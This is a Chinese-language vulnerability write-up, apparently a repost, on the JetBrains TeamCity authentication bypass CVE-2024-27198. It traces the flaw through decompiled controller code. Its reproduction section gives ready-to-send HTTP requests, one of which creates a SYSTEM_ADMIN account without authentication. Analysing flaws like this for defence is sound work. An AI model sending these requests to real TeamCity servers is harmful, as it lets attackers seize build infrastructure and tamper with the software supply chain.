CVE-2024-27198 JetBrains TeamCity 身份验证绕过漏洞分析

漏洞简介

JetBrains TeamCity 是一款由 JetBrains 公司开发的持续集成和持续交付服务器。它提供了强大的功能和工具,旨在帮助开发团队构建、测试和部署他们的软件项目

JetBrains TeamCity发布新版本修复了两个高危漏洞JetBrains TeamCity 身份验证绕过漏洞(CVE-2024-27198)与JetBrains TeamCity 路径遍历漏洞(CVE-2024-27199)。未经身份验证的远程攻击者利用CVE-2024-27198可以绕过系统身份验证,创建管理员账户,完全控制所有TeamCity项目、构建、代理和构件,为攻击者执行供应链攻击。远程攻击者利用该漏洞能够绕过身份认证在系统上执行任意代码。

Note: The JetBrains release blog for 2023.11.4 appears to display different publication dates based on the time zone of the reader. Some readers see that it was released March 3, while others see March 4. We've modified our language above to note that Rapid7 saw the release blog on March 4, regardless of what time it was released.

参考连接

CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED) | Rapid7 Blog

版本下载Other Versions - TeamCity

漏洞分析

漏洞类web-openapi.jar下的

jetbrains.buildServer.controllers.BaseController

public abstract class BaseController extends AbstractController {// ...snip...public final ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {try {ModelAndView modelAndView = this.doHandle(request, response);if (modelAndView != null) {if (modelAndView.getView() instanceof RedirectView) {modelAndView.getModel().clear();} else {this.updateViewIfRequestHasJspParameter(request, modelAndView);}}// ...snip...

在这个方法中当处理后返回的modelAndView视图类型不为RedirectView,则会调用updateViewIfRequestHasJspParameter

如:在访问一个需要认证的接口,服务器返回401,重定向用户路径login.html。

但是我们在访问一个不存在的路径,服务器返回404 非Redirect ,这样就可以绕过上面的限制执行到updateViewIfRequestHasJspParameter

跟入updateViewIfRequestHasJspParameter

private void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) {
​boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp");String jspFromRequest = this.getJspFromRequest(request);if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) {modelAndView.setViewName(jspFromRequest);}
}

白话文解释一下,modelAndView的不为空 请求的路径不以jsp结尾,isControllerRequestWithViewName将为真

这里我们猜测一下当用户请求一个不存在的资源,服务器统一返回404页面,这个内部的ServletPath 很有可能是404.html,不是jsp结尾 。因此isControllerRequestWithViewName可为真

继续分析getJspFromRequest

protected String getJspFromRequest(@NotNull HttpServletRequest request) {String jspFromRequest = request.getParameter("jsp");return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.contains("admin/") ? jspFromRequest : null;
}

requests是我们可控的量,因此这里我们可以控制有jsp参数!,是以jsp结尾的! 不包含admin/。最终返回的数据jspFromRequest是jsp=xxx 这是我们可控的量。

jspFromRequest是我们控制的量 ,且我们可以正常进入if语句中,

因此可以调用modelAndView.setViewName(jspFromRequest);实现updateView的操作。

我们可以利用这个机制绕过接口验证,达到调用任意接口的目的

漏洞复现

如下给出payload

GET /xxx?jsp=/app/rest/users/;.jsp HTTP/1.1
Host: 127.0.0.1:8111
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
X-TeamCity-SW-Cache: graphql
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Content-Type: application/json
Accept: application/json
X-TeamCity-Client: Web UI
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8111/admin/admin.html?item=users
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

一共有三点
1,请求xxx 是绕过重定向
2,;.jsp绕过请求后缀是jsp的限制
3,jsp=xxxx 这里就可以填上我们想要访问的接口了

也可以进行一些敏感的操作,如添加用户账号

POST /xxx?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 127.0.0.1:8111
Accept: */*
Content-Type: application/json
Content-Length: 124
Connection: close

{"username": "test6666", "password": "test6666", "email": "", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/520000.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

企智汇:引领企业项目管理的数字智能化管理系统工具!

随着数字化时代的来临,企业对项目管理的要求也日益增高。面对日益复杂的业务流程和海量数据,如何有效地管理项目、整合资源、优化流程、提高管理效率,成为了摆在企业面前的重要课题。在这样的背景下,专业做了10年项目管理系统的&a…

vsphere虚拟机迁移是灰色如何解决

vsphere虚拟机迁移是灰色如何解决 问题描述: 在vsphere中,迁移虚拟机时迁移按钮是灰色,无法迁移,关机之后也无法迁移 虚拟机按钮为灰色 找到虚拟机存储对应的位置,查询是否有.vmx虚拟机文件 查询中发现有.vmx文件存…

JS使用方式

JS是解释性语言,所以不需要搭建类似C#/Java之类的开发运行环境,因为他们是编译型语言。JS一般运行在浏览器中或者node环境中,这里都是JS引擎的功劳。 node环境使用 推荐使用nvm管理node版本,nrm管理代理地址。 安装node&#xf…

P2241 统计方形(数据加强版) python解法

求n*m网格内矩形的数目 - tenos - 博客园 (cnblogs.com) 法一(题解推规律暴力枚举得到): n,mmap(int,input().split()) sqr,rec0,0 #正方形和长方形个数 #以长宽做循环,每次求n*m大小的矩形的个数 #题解是从0开始的,我…

供应链管理(SCM):界面设计全面扫盲,得供应链者得天下

大家伙,我是大千UI工场,专注UI分享和项目接单,本期带来供应链系统的设计分享,欢迎大家关注、互动交流。 一、什么是SCM SCM系统是供应链管理(Supply Chain Management)系统的缩写。供应链管理是指协调和管…

信号处理--卷积残差网络实现单通道脑电的睡眠分期监测

目录 背景 亮点 环境配置 数据 方法 结果 代码获取 参考文献 背景 人类大约花三分之一的时间睡觉,这使得监视睡眠成为幸福感的组成部分。 在本文中,提出了用于端到端睡眠阶段的34层深残留的Convnet架构 亮点 使用深度1D CNN残差架构&#xff0…

支小蜜校园防欺凌报警系统如何识别霸凌

校园霸凌给受害者带来了深重的心理和身体伤害。为了有效应对这一问题,校园防欺凌报警系统应运而生,其核心技术在于如何准确、迅速地识别霸凌行为。那么校园防欺凌报警系统是如何识别霸凌的呢? 图像识别技术 这些系统利用高清摄像头捕捉校园…

【软件测试】如何申请专利?

一、专利类型 在软件测试领域,可以申请发明专利、实用新型专利和外观设计专利。其中,发明专利是最常见的专利类型,它保护的是软件测试方法、系统和装置等技术方案。 二、申请专利的条件 申请专利需要满足新颖性、创造性和实用性三个条件。…

晶圆上特性表征

测试仪器: 半导体器件表征系统(DC&CV):Keysight B1500A 半导体器件分析仪(B1500A)测量能力: 1.IV、CV、脉冲/动态IV范围为0.1 fA-1 A/0.5 uV-200 V 2.器件、材料、半导体、有源/无源元件的…

MMLU数据集分享

来源: AINLPer公众号(每日干货分享!!) 编辑: ShuYini 校稿: ShuYini 时间: 2024-2-28 自然语言处理(NLP)模型在特定基准测试上取得了超人的表现,但整体语言理解能力仍远低于人类水平。现有的基准…

Vue - 调用接口获取文件数据流并根据类型预览

Vue - 调用接口获取文件数据流并根据类型预览 一、接口返回的数据流格式二. 方法实现1. image 图片类型2. txt 文件类型3. pdf 文件类型 一、接口返回的数据流格式 二. 方法实现 1. image 图片类型 <img :src"imageUrl" alt"" srcset"" /&g…

家政上门服务小程序,懂行的人都明白,这小程序有多实用。1.

1. 家政小程序 &#xff1a; 触手可及&#xff0c;随时随地享受家政服务。 2. 会员注册 &#xff1a;不仅消费者可以轻松注册&#xff0c;家政服务人员也能拥有专属账号&#xff0c;方便又快捷。 3. 全国覆盖 &#xff1a;后台灵活设定开放城市&#xff0c;全国范围任你选…